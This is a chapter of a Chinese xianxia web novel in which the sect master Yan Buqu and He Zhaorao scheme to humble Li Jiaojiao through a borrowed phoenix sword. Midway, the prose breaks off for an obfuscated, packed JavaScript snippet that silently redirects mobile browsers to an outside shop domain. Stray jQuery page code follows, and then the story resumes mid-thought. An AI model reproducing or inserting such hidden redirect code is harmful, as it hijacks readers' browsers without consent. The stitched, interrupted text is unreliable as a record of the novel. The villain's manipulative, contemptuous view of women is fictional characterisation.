别人倒霉不幸,便是一件令何昭娆开心之事。魏晚晚自认受宠,可现在燕不屈却漫不经心在何昭娆面前撕破魏晚晚这几日的光鲜。
那凤凰之羽是燕不屈一缕神魂镇压,只要燕不屈愿意,执剑者在剑珠中注入魂血,便能操纵凤凰之羽。
此剑顾名思义,本就是凤凰一根羽毛所化。只要催动剑意,就能化出凤凰之影,惊艳世人。
如今剑却在魏晚晚手上,其实魏晚晚自己也是心知肚明。
何昭娆冉冉一笑,若异花初绽。
魏晚晚刻意一身雪衣,模仿黎皎皎,走至于燕不屈跟前,后来燕不屈便赐了她凤凰之羽。
燕不屈评价魏晚晚:“忍耐了差不多快一月,也算不错了。”
可能一开始魏晚晚也又惊又喜,又心存疑虑。
一旦靠着凤凰之羽化出凤凰虚影,便能获得无与伦比的名声以及资源。
一个愿意模仿别人的女修道德品质也高尚不到哪里去,但终究不是自己之力,魏晚晚必然也是心存疑虑。她必然也是个谨慎之人,辗转反侧,想着要不要搏一搏。
可无论魏晚晚如何抵御,凤凰之羽近在咫尺,她伸手可握,容她驱使。
魏晚晚自然抵不住这样的诱惑。
其实她本只需要一个契机,没想到这个契机来的却那样快。
方惜月采得剑花,魏家夺了她功劳,然后魏晚晚以此为契机,使李婉华引荐。本来方家只是想讨些赔偿,可魏家长辈却闹砸了这件事,使得方惜月竟怒而离了雪川宗,投了黎皎皎。
信方惜月的人虽不多,但也引起了一些人留意,也总有人将这些事嚼一嚼。
魏晚晚唯有快快展露修为,将暗里那些声音尽数压下去。
而凤凰之羽偏偏就在魏晚晚手中,流淌流火异光。
何昭娆不觉娇柔一笑:“仙长连魏晚晚夺人剑花的事也知晓,当真好深的心思。”
她笑容既娇美,又天真,只看外表,会觉得何昭娆单纯无暇。只看容貌,谁也不会察觉她是多么的心狠,多么的阴暗。
这样和燕不屈凑到了一道,两人仿佛也有几分相似处。
燕不屈玩弄人心,何昭娆也听得津津有味,女郎眼底深处亦流淌了恶劣的光芒,欢喜看着凑上来的魏晚晚被随意摆布。哪怕是什么门中天才,也不过是一件好玩的玩意儿。
盯着这张绝色面容,燕不屈便忍不住想,换做黎皎皎,便无法与他一起分享这样的乐趣。黎皎皎实在太过于端庄固执了——
燕不屈微笑:“晚晚也算费心讨我欢喜,她其实也有些意思,不过这一切都是为了皎皎。”
何昭娆脸色顿时也不好看起来。
她心里不舒坦,倒也并未掩饰,燕不屈其实很喜欢旁人为他争风吃醋的。
何昭娆试探:“那到底是谁身负凤凰之力。”
燕不屈则答道:“无论晚晚还是皎皎,她们两人都没有凤凰之力。”
不过他喜欢黎皎皎。
第一次见她,便一见钟情。
黎皎皎有像他之处,女娘少年天才,天赋极高。也有不像他之处,她骄傲明媚,心地善良,又活泼多情。
五年前黎皎皎拜师,那上古法器照身境生出异样,照出凤凰身影。
雪川宗那些长老们沸腾了,因凤凰之力多附于女弟子身上,故盼寻出这个女修,再使手段令其与燕不屈结为道侣,二人双修。
燕不屈倒不屑什么凤凰之力,故自己降了凤凰之羽,又赠给了黎皎皎。
他明明知晓黎皎皎不是,可偏要别人以为黎皎皎是,因为他喜欢黎皎皎。
何昭娆嫉意愈浓了,她知晓燕不屈故意在她面前侃侃而谈,提别的女人,提多么多么的喜欢。
燕不屈他心思变态,他喜欢看身边的人难受。
但何昭娆还是按捺不住内心疑窦,禁不住问:“那既是如此,黎皎皎也是知道的?”
知道拥有凤凰之羽,就能造假化出凤凰虚像。
还是黎皎皎那时并不知晓这个窍门?
燕不屈则给了一个肯定的回答:“她知晓,不过她自然不屑。”
虽早知晓会是这个答案,何昭娆心内也不是滋味。其实她不用问,大约也是应该知道的。那日在小叶村,危急之际,黎皎皎也曾化出凤凰之力,使得自己血阵受创。
她讥讽的想,那女娘好了不起啊。这五载光阴,黎皎皎日日握着这凤凰之羽,却不屑在人前结出凤凰之像。那自是品行高傲,点尘不染。而魏晚晚也不过是衬托黎皎皎小丑,燕不屈说她坚持了一月,已经是很不错。
这一来二去,燕不屈自是将黎皎皎视做独一无二的珍宝,这旁人自是黯然失色。
燕不屈似看出了她的心思,捏着她下颌,轻笑:“你觉得她很了不起?可也不如何。”
“我给你讲个故事,这从前有个王子,自幼养尊处优,从未尝半点苦楚。有一日他他扮作平民出宫,拾得金饼一块。他毫不贪心,等待许久,终于等得失主归来。”
“可后来家臣谋反,他族人被屠,又来到了民间。这一次可不是什么微服私访,他身无分文,饥肠辘辘,更无片瓦庇身。他这时拾得一文钱,于是便迫不及待换了一块胡饼吃,再没想过还给失主。”
“王子还是王子时,他金珠宝贝无数,自是可以路不拾遗,绝不会为区区一块金饼折了自己品行。这并非他品德高尚,而是他拥有太多了。可当他一无所有,从前不稀罕的也显得稀罕,哪怕是一文钱,也舍不得还给别人。”
何昭娆轻柔细语:“仙长从前待她太好了。”
燕不屈深以为然:“我从前待她太好了。”
从黎皎皎入雪川宗,他便替黎皎皎铺路,悉心照拂她,替她挡去许多烦恼。哪怕她未负什么凤凰之力,燕不屈也竭力替她周全。就这样宠得黎皎皎无法无天,不知晓自己几斤几两。
他的那些个御下之术,权谋心机,是半点没用在黎皎皎身上。
而他不过是想保一个何昭娆,本也没想让何昭娆见光
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13516374|141073||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,选来选去,还是觉得黎皎皎更适合做自己道侣。
黎皎皎却好似捡着自己错处,急不可待的站在道德制高点上,为了几个死人跟自己计较。她只顾着冷艳高贵,那日还一脸失望不屑,面带恼恨,实在令人生气。
燕不屈面颊滋生一缕凉意,唇角却浮起了一丝笑容。
如今黎皎皎就像故事里王子一样,饥寒交迫,折于泥水之中,一文钱也很稀罕。
“晚晚现在风头正盛,得了许多的称赞。不过短短一月,就似胜过皎皎有过的五年。于是她会发现自己的曾经必然是一文不值,世人也会很快忘记她,不再记得她。”
所以才说抬举晚晚,是为了皎皎。
然后就是这个故事最有意思之处了。
“而她偏偏知晓,这个魏师妹其实并没有什么天赋异禀,更无殊世之才,配不上滔天名声。而这一切,不过因为一把原本属于她的凤凰之羽。昭娆,你说她肯甘心?这是不是很有趣?”
何昭娆也忍不住笑起来,她眼睛亮得很:“她一定巴不得快些回雪川宗,撕碎魏晚晚的假面具,免得魏晚晚再沽名钓誉。然后,她才会痛快几分,狠狠的,出了这一口恶气。”
燕不屈瞧着何昭娆欢喜恶毒的绝色面容,仿佛照着了镜子,看见了自己,看透了自己恶心的欲望。自己对何昭娆虽说不上十二分喜欢,可却也离不得。
别人伤了她,哪怕是黎皎皎,他没想到自己居然也会生黎皎皎的气。
他微笑着轻抚何昭娆的面颊:“她自然会这样想,不过她会粉饰自己心思,给自己找些个大义凛然理由,譬如因为晚晚欺世盗名,因此要撕碎她的假面具。这也不能说不对,反正晚晚也不是什么好货色。”
而如今,燕不屈一句话,就能使得李婉华低声下气去灵叶府,使黎皎皎风光无限回雪川宗。
黎皎皎有值得她认输服软的血海深仇,雪川宗里还有李婉华,还有魏晚晚。黎皎皎有很多个理由,说服自己软一软。
何昭娆十分柔顺,燕不屈跟她说话腔调里也多了几分柔怜:“这一次,她一定懂得应该向你道歉。”
向何昭娆道歉也就是向燕不屈道歉。
当然如此一来,黎皎皎就不是当初的黎皎皎。燕不屈也许会继续留着她,可祛魅之后,他自也不会如从前一般待她。黎皎皎任性无知,本也要付出代价。
而燕不屈也算是破障。
这一次黎皎皎通过弟子试验,他自然也会亲自给黎皎皎别上白玉钗。不过白玉钗将要别上之际,他会停下动作,说过去之事,改了就好。他会告诉黎皎皎,只要向何昭娆认个错,没人会再提那么些个旧事。
到时候,燕不屈便能欣赏到黎皎皎无可奈何的服软。
万千蝼蚁,黎皎皎也不过是这其中一个,没什么了不起。
爱她、怜她、惜她,这本来是障。
女人就是这样,要驾驭,要会算计拿捏,更不必奉若珍宝。
而现在,他也相信李婉华很快会传来好消息。